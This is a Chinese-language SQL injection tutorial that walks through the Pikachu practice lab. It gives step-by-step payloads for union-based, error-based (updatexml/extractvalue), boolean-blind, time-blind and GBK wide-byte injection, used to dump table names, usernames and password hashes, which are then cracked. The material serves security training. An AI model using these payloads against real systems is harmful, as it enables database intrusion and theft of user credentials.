概述
什么是SQL注入漏洞
注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。
SQL注入的危害
数据库中存储的用户隐私信息以及重要数据泄漏;
通过操作数据库对某些网页进行篡改;
修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;
数据库服务器被恶意操作,系统管理员帐户被窜改;
数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统;
破坏硬盘数据,导致全系统瘫痪;
通过数据库挖矿,系统资源被占用;
…
SQL注入攻击流程
注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql注入测试语句进行注入点发现
信息获取
通过注入点获得期望得到的数据
环境信息:数据库版本,数据库类型,操作系统版本,用户信息等
数据库信息:数据库蜜罐,数据库表,表字段,字段内容等
获取权限
获取操作系统权限:通过数据库执行shell,上传木马
注入点类型
分类根据:输入的变量上传到sql语句中是以什么形式拼接的
数字型:user_id=$ id
字符型:user_id=’$ id’
搜索型:text LIKE ‘%{$_GET[‘search’]}%’’’
-------数字型注入(POST)
我们先使用burp抓包看一下,并把抓到的数据包发送到Repeater,由于是POST请求方式,我们先判断是否有sql注入点
我们可以修改id值后点击send来查看返回信息
这里我们可以看到页面能将所有id信息返回,至此我们知道此处存在数字注入
1 or 1=1#
接下来我们要利用这个漏洞渗透sql的话,我们得先判断字段是多少,这里我们可以使用order by语句来查询字段
1 order by 2
输入1,2时正常显示,输入3时报错,由此我们可知查询字段数为2
在知道了字段数以后,我们接下来可以只用联合查询语句来查询用户名,数据库名
id=1 union select 1,database()#
再用联合查询爆出当前数据库的所有表名table_name
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
这里我们可以看见重要的表名,再继续爆user表
然后我们再把username跟password这两个爆出来
1 union select database(),group_concat(username,'~~~',password) from pikachu.users
我们可以看见密码是被md5加密过的:670b14728ad9902aecba32e22fa4f6bd
我们登md5在线解密网站可以解密出密码是:000000
-------字符型注入(GET)
然后我们抓个包试一下,可以发现是GET型
由于是字符型注入,所以肯定会有单引号,我们可以猜测一下后台的sql查询语句
$name=$_GET['username']
select uid,email from 表名 where username='$_username'
然后我们闭合语句,构造成我们想要的,用单引号闭合前面语句,中间输入想输的内容,最后使用#号注释掉单引号
kobe' or 1=1#
然后我们按顺序依次判断字段数,用户名,数据库名,所有表名等等,这里我们先使用order by语句判断字段数
1'order by 1,2,3#
发现为3时报错,由此判断字段数为2,然后我们再爆出数据库名,版本,用户名
1' union select version(),user() #
然后再用联合查询爆出所有表名table_name
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查询重要表名
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #
然后我们爆出username和password,发现密码是加密的,去md5在线解密网站解密就可以,解密完以后为:000000
1' union select database(),group_concat(username,'~',password) from pikachu.users#
-------搜索型注入
搜索型注入一般使用like进行搜索,所以我们猜解后台的查询语句
select * from 表名 where username like '%$name%'
然后我们闭合前面‘%,注释后面%’
1%' or 1=1 #
接下来还是老步骤,我们先判断字段数,发现输入3时可以正常显示
allen%' order by 3#
发现输入4时报错,由此我们知道字段数为3
allen%' order by 4#
在知道字段数以后我们开始爆数据库名和用户名
allen%' union select 1,user(),database()#
然后联合查询爆出所有表名table_name
a%' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
继续联合查询爆出重要表的列名
a%' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
然后我们再爆出username和password,最后将密码md5解密即可
a%' union select 1,database(),group_concat(username,'~',password) from pikachu.users#
-------XX型注入
XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等) 我们输入单引号和小括号构造相应的payload
1') or 1=1#
接下来还是老步骤先判断字段,我们分别输入2和3,发现3报错,判断出字段为2
kobe') order by 2#
kobe') order by 3#
然后我们爆出用户名,表名
allen') union select 1,database()#
联合查询查出所有表名table_name
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
然后查询重要表的列名
1') union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
爆出username和password并将密码解密
kobe') union select database(),group_concat(username,'~',password) from pikachu.users#
-------" insert / update " 注入
产生insert和update注入的原因是因为用户在注册和更新信息的时候存在注入点,当在注册界面的时候后台采用的是insert语句来插入数据库,因此我们可以猜一下后台的sql语句为:
insert into users(username,password) values($username,$password);
update也是一样的道理
update users set username=$username,password=$password where username=$username;
填写注册信息
然后我们抓个包看一下
构造payload试一下,发现可以把数据库名爆出来了
1' or updatexml(1,concat(0x7e,database()),0) or '
这是在insert界面,同理在update界面操作也是一样的,我们先抓个包看一下
然后插入payload,也一样可以爆出数据库
1' or updatexml(1,concat(0x7e,database()),0) or '
然后我们再用爆出表
' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
爆出重要表的列
' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) or '
最后爆出username和password,和之前操作是一样的,这里要说一下,insert,uodate,delete注入不能使用union联合查询语句,因为我们并不是查询,而是操作
' or extractvalue(1, concat(0x7e,(select group_concat(username,'~',password) from pikachu.users),0x7e)) or '
-------" delete " 注入
delete注入和insert/update没什么区别,都是利用报错来进行注入,我们先留完言之后,点击删除留言,然后抓个包看一下,我们发现有一个id值,我们可以通过修改id值来注入
我们发现id是数字型,不需要引用单引号,但一些关键字需要转换为url格式,构造一个payload
1+or+updatexml(1,concat(0x7e,database()),0)
------- " Http Header " 注入
这时候我们抓包试一下
然后我们可以将User-Agent和Accept中的值替换一下,我们将user-agent中的值替换为单引号,发现返回值报错,由此我们知道此处存在sql注入漏洞
继续构造payload:
1' or updatexml(1,concat(0x7e,database()),0) or '
这里爆出数据库,用同样的方式修改accept的值也可以爆出来,这里我们注意除了这两个还有cookie也可能存在注入,我们可以先用单引号尝试一下,发现存在漏洞,然后构造payload,也可以爆出来
盲注(base on boolian)
在一些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时我们无法根据报错信息来判断,
也就是说没有页面回显,无法通过页面的回显来判断是否存在注入。一般情况下盲注的页面只有两个一个是成功一个是失败。(盲注一般分两种一类是基于时间的盲注,另一种是基于Boolean的盲注)
首先我们不知道漏洞是什么类型,只能一个一个去尝试,我们先输入:
1 ' and 1=1 #
1 ' and 1=2 #
发现返回不存在,说明不是整数型,那接下来我们再试试字符型:
allen ' and 1=1 #
allen ' and 1=2 #
发现有回显,说明这个点还是存在注入的,但返回信息只有这两种,我们只能一个一个去尝试,接下来我们尝试猜数据库名
kobe' and length(database())=长度数字#
判断库名长度
kobe' and ascii(substr(database(), 1, 1)) = ascii的表中字母对应的数字#
substr ()是一个切片函数(字符串,开始位置,步长)
ascii()就是将字符转为ascii码值
最后通过字符的ascii码值的具体大小来确定字符串内的每一个字符都是什么
,由此判断库名的组成
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115
猜解表名,列名
在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等
我们要爆数据库名, 得先知道长度, 然后一个个地去爆每个字符,做起来确实比较麻烦,但是因为页面不存在报错, 无法直接通过报错采取查询注入得知, 所以只能通过页面的反馈是否正确来判断。
kobe' and length(database())>8 # 错误
kobe' and length(database())>6 # 正确
kobe' and length(database())>7 # 正确
利用字符的ASCII码值逐个猜解数据库名称的每个字符,这里我们可以爆出第一个ascii码值为112,对应的字母为p,然后我们可以用同样的方法将后面的字母一个个的斗爆出来
kobe' and ascii(mid(database(),1,1))>115 # 错误
kobe' and ascii(mid(database(),1,1))>110 # 正确
kobe' and ascii(mid(database(),1,1))>113 # 错误
kobe' and ascii(mid(database(),1,1))=112 # =正确
接下来我们以此类推用同样的方式爆出表的个数,先判断表的长度
kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) > 10#
再判断表名
kobe'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100#
然后再去猜列数,方法都是同样的,但是很麻烦,所之还是可以爆出来的。
盲注(base on time)
基于时间的盲注跟布尔型的盲注不同,无论输入什么都会显示下图中的报错信息,所以我们无法根据正确或者错误来判断,但它有另外一种方式,那就是页面返回的时间,我们可以根据这个时间来判断真假
接下来我们可以利用sleep函数来构造payload,看一下是否能够延时返回
allen' and sleep(5)#
######
如果allen存在,这条命令将会延迟5s执行
我们可以看到成功再5秒后执行,说明存在注入,然后我们配合if表达式爆出数据库名字
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
###########
if(判断语句,1,2)
如果判断成立执行1,否则执行2
然后一直匹配到第一个字符的字母,延时返回显示正确后再继续匹配第二个字母,这样就可以爆出数据库名,然后后面用同样的方法还可以爆出表名和其他数据,把database()替换掉就可以,跟布尔型的方法一样,这就不一一演示了。
宽字节注入
宽字节注入是利用mql的特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
宽字节注入是要满足两个条件
1、数据库连接时开启gbk编码
2、对特殊字符进行\转义
当遇到‘时 由于\会对’进行转义 \在url中为%5c 则%df’ 成为 %df%5c’
%df%5c在gbk编码中为一个汉字 从而’从\转义中逃脱出来,GBK编码中,反斜杠的编码是%5c,MYSQL用GBK编码时,会认为%df%5C是一个宽字符,所以我们只要在单引号前面加上%df就可以了。
1%df' or 1=1#
这样就可以爆出信息了。
至此sql注入就都演示完了,有很多不足的地方还请见谅。